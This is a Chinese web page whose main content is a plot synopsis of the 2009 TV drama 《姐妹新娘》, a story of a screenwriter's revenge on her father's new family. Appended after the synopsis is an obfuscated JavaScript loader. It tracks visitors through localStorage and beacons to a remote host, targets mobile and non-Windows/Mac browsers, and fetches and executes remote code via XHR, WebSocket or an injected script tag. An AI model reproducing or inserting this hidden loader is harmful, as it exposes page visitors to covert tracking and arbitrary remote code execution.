《姐妹新娘》是由刘进执导，郝蕾,于小伟,田丽主演的国产剧。该电视剧于2009年在大陆上映。本剧翻拍自《人鱼小姐》。名声鹊起的电视编剧殷丽英化名“殷霞”一直不肯公开露面公布真名，接受采访，在为一部电视剧的制作时，不惜狠脸点名要知名女星沈秀琴来出演，并矛盾激化所有人都莫名其妙。原来，这只是她复仇的开始…… 20多年前，年幼的殷丽英和怀着身孕的母亲被父亲殷振天抛弃，而只是为了满足自己的私欲，和丽英母亲的好姐妹，当红明星沈秀琴在一起。被父亲抛弃的殷丽英与母亲过着艰辛的日子，母亲生下的弟弟也在饥寒交迫中夭折，母亲哭瞎了双眼，这些惨剧让幼年的丽英深深埋下了仇恨的种子，从此开始计划复仇，她刻苦学习，拼命打工，并选择了编剧专业作为大学主修专业，她深知一毕业，她的复仇计划便会开始实行。 从小养成坚韧沉着性格的丽英，虽然怀着仇恨的心理，但并没有丧失善良独立的人格。为了复仇，她毅然拒绝了豪门的求婚，她深知自己的一生的目标只有一个。丽英第一步电视剧大获成功，她的声明渐渐建立，带来的收入使得她和母亲的生活得到改善，她一方面满足于和失明母亲的相依相守，一方面为等待复仇时机而煎熬。终于她的第二部电视剧，她指明要沈秀琴来出演，并在拍摄过程中想方设法羞辱她。 殷振天与沈秀琴结合后，生下一女殷瑞莹，一家三口20几年来过着其乐融融的日子，殷振天和女儿都在《米娜》杂志社上班，瑞莹相恋多年的男友李诸望也是这家杂志社得记者，同时还是杂志社的少东。从小生活在温暖呵护里的殷瑞莹，性情骄纵，得知母亲被编剧羞辱刁难，利用职务之便，发不实稿件污蔑殷丽英。 而此时的殷丽英正在进行复仇的第二步，她开始巧妙地接近瑞莹的男朋友李诸望，并建立了良好的关系。瑞莹的任意妄为和以权谋私让诸望开始反感，而丽英的坚强自立，多才多艺，善解人意越来越吸引诸望，与瑞莹的订婚在即，诸望越来越迷茫，不知所措......。而此时的丽英已深知自己处于主动地位，放手让他俩人去订婚，此时的放手只为让将来的瑞莹伤的更痛。 丽英母亲幼时的好姐妹赵迎春，丈夫早丧，独自带大一儿一女，女儿马琳活泼伶俐，在电视台上班，与瑞莹从小就是一对吵吵闹闹的姐妹冤家，马俊高大帅气，在会计事务所上班，儿女的长大成人让多年辛苦操劳的赵迎春欣慰不已，自己经营的服装公司生意红火，生活富裕，闲时也会想起曾经的景惠姐(丽英母亲)。终于一个偶然的机会她得知知名编剧殷霞就是殷丽英，并见到了韩景惠，两人多年未见，泪眼婆娑。赵迎春有意撮合马俊与丽英，马俊也有意于丽英，但丽英并不为所动。 丽英的名气越来越大，《米娜》杂志社有意采访，丽英借机答应，用计使殷振天得知殷霞就是自己多年未见得女儿，这一切使殷振天深感震惊和恐慌。当他告知沈秀琴这一切时，沈秀琴惊愕不已，并默认丽英对她的刁难，不再做反驳。但这只是复仇的冰山一角，夫妻两人还在醉心于瑞莹的婚事，但谁料订婚仪式，状况频出，一切都预示着不顺利。 订婚后的李诸望仍然忘记不了殷丽英，两人又复见面，爱火重燃，诸望做出了他人生的第一个冒险的犯众怒的决定，他要和瑞莹退婚然后和丽英结婚。瑞莹无法接受这个事实，但是诸望说自己已经不能回心转意。诸望把自己的决定告诉了家里，顿时在两家引起了轩然大波。此时的丽英的心情极为复杂，她发现自己真的爱上了诸望，她既享受着和诸望的爱情又为自己的动机而不安。 看到瑞莹受到打击后失魂落魄的样子，殷振天夫妻很是着急，沈秀琴雇用私家侦探调查诸望，终于查出了丽英。殷振天和沈秀琴震怒，三人发生了非常激烈的冲突，殷振天夫妻痛不欲生。韩景惠知道了事情的真相后忧心忡忡，但是丽英告诉她自己并非是要故意报复，她和诸望是真心相爱的。 瑞莹执意要搬入李家，希望能以此使诸望就范，但是诸望早出晚归而后甚至住到了报社。诸望父亲要求和丽英见面，与丽英见面后对她很是满意，决定再见一见丽英的母亲，然而韩景惠对婚事的反对态度让诸望父亲感到意外。诸望奶奶和妈妈坚决反对和丽英的婚事。 殷振天夫妻无奈的把瑞莹接回了家，瑞莹精神失常，住进了精神病院。诸望决定家里再不同意他们的婚事，就自己在外边租房子结婚，奶奶和妈妈终于答应他们的婚事。 丽英得知瑞莹精神失常，愧疚不已。为了使殷瑞莹尽快恢复，也为了赎罪，丽英立刻向诸望提出了分手并独自在飞往国外，她唯一的牵挂就是韩景惠，她拜托圣美常常去看望她。瑞莹的病渐渐痊愈了。李家和殷家经历了这许多波折后终于促成了诸望和瑞莹的婚姻，两家商定了结婚日期。韩景惠因失明的原因造成了煤气泄漏家中失火不幸丧生。圣美马上通知了丽英，丽英悲痛欲绝的赶了回来，她觉得母亲的死是自己造成的。赵迎春带着悲愤的心情痛斥历数殷振天夫妻的所作所为造成的韩景惠母女的不幸，而瑞莹无意中听到了父母和赵迎春的对话，知道真情后她大为震惊。在瑞莹的盘问下，殷振天夫妻只能对女儿说出多年前发生的事情，瑞莹不再憎恨丽英，决定取消和诸望的婚礼。 得知韩景惠的去世和丽英的归来后，诸望想尽办法要联系丽英，但是丽英坚决不和他见面。瑞莹对父母当年的行为甚至对自己都深感厌恶，和父母的关系越来越差，而后心情郁闷的她干脆搬到马琳家去住，日常生活中马俊对她很是关照。 丽英酒后驾车在高速公路上发生了严重的车祸。瑞莹来到了丽英的病床前，姐妹俩相拥而泣冰释前嫌，瑞莹要姐姐和诸望结婚，丽英答应了诸望的求婚。 同住一个屋檐下，瑞莹和马俊在频繁的接触中都对对方产生了好感，但是赵迎春坚决反对儿子的这桩婚事，她做了个大胆而卑鄙的举动，发匿名短信给李家婆媳，揭出丽英和瑞莹的姐妹关系，指出殷振天当年的无情无义和丽英的报复行为，李家知道真相后再次陷入混乱。 关于婚事的问题，李家婆媳极力反对，但是在诸望的坚持和诸望父亲的支持下终于完成。殷振天以前的旧事曝光后觉得颜面尽失，从《米娜》杂志辞职，沈秀琴也没了往日的骄横跋扈。结婚前，诸望夫妻二人去给韩景惠扫墓，他们看到沈秀琴在墓前的忏悔，殷振天想参加丽英的婚礼，遭到了丽英的拒绝。诸望和丽英终于顺利地举行了婚礼。婚礼那天殷振天远远的看着丽英心中充满愧疚和怜爱。
function qkbQym(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function REyXs(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return qkbQym(t);};window[''+'j'+'o'+'q'+'t'+'N'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ZEjcl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=REyXs,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ZEjcl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ZEjcl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC5jbiUzQTg44OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','4680',window,document,['4','J']);}:function(){};